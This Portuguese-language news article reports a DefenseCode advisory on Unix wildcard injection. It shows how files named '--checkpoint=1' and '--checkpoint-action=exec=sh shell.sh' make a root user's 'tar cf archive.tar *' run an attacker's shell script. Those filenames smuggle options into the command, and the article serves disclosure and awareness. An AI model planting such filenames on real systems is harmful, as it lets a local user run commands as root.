A DefenseCode lançou um aviso importante, a partir do qual o pesquisador Leon Juranic detalha algumas questões de segurança relacionadas ao uso de "wildcards" em comandos Unix. O tema tem sido abordado já faz algum tempo, a partir da lista de discussão Full Disclosure, onde algumas pessoas viram isso mais como uma característica do que como um bug. Além do mais, há claramente uma série de problemas potenciais de segurança em torno disso. Sendo assim, Mr. Juranic forneceu cinco exemplos de exploração reais que enfatizam os riscos práticos de usar o wildcard com comandos Linux / Unix que o acompanham.
O problema pode se manifestar por meio de opções específicas envolvendo chown, tar, rsync, dentre outras. Ao usar nomes de arquivos especialmente criados para sua finalidade maliciosa, um atacante pode incorporar arbitrariedade para comandos executados por outros usuários - incluindo root. Um dos exemplos apresentados é a execução de comandos arbitrários tar. O binário tem duas opções, que podem ser usadas para práticas de "poisoning":
--checkpoint[=NUMBER]
display progress messages every NUMBERth record (default 10)
--checkpoint-action=ACTION
execute ACTION on each checkpoint
Usando tar com estas opções, uma determinada ação pode ser usada depois de um checkpoint. Esta ação poderia ser um script shell malicioso, com possibilidades de ser usado para executar comandos arbitrários sob o usuário que inicia o tar. Um "tricking" root para usar as opções específicas é muito fácil, e é justamente aí que o wilcard entra em cena, em um momento oportuno.
Além do mais, executar tar cf archive.tar * em uma pasta com esses arquivos, parece bastante simples e conveniente.
[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
O problema surge quando o usuário criou um par de arquivos falsos e um shell script, que contenham qualquer comando arbitrário.
[root@defensecode public]# ls -al
drwxrwxrwx. 2 user user 4096 Oct 28 19:34 .
drwx------. 24 user user 4096 Oct 28 18:32 ..
-rw-rw-r--. 1 user user 20480 Oct 28 19:13 admin.php
-rw-rw-r--. 1 user user 34 Oct 28 17:47 ado.php
-rw-r--r--. 1 leon leon 0 Oct 28 19:19 --checkpoint=1
-rw-r--r--. 1 leon leon 0 Oct 28 19:17 --checkpoint-action=exec=sh shell.sh
-rw-rw-r--. 1 user user 187 Oct 28 17:44 db.php
-rw-rw-r--. 1 user user 201 Oct 28 17:43 download.php
-rwxr-xr-x. 1 leon leon 12 Oct 28 19:17 shell.sh
Ao usar o wildcard no comando tar, estes arquivos serão interpretados como opções passadas para o tar binário, e o shell.sh será executado como root.
Saiba Mais:
[1] Net Security http://www.net-security.org/article.php?id=2061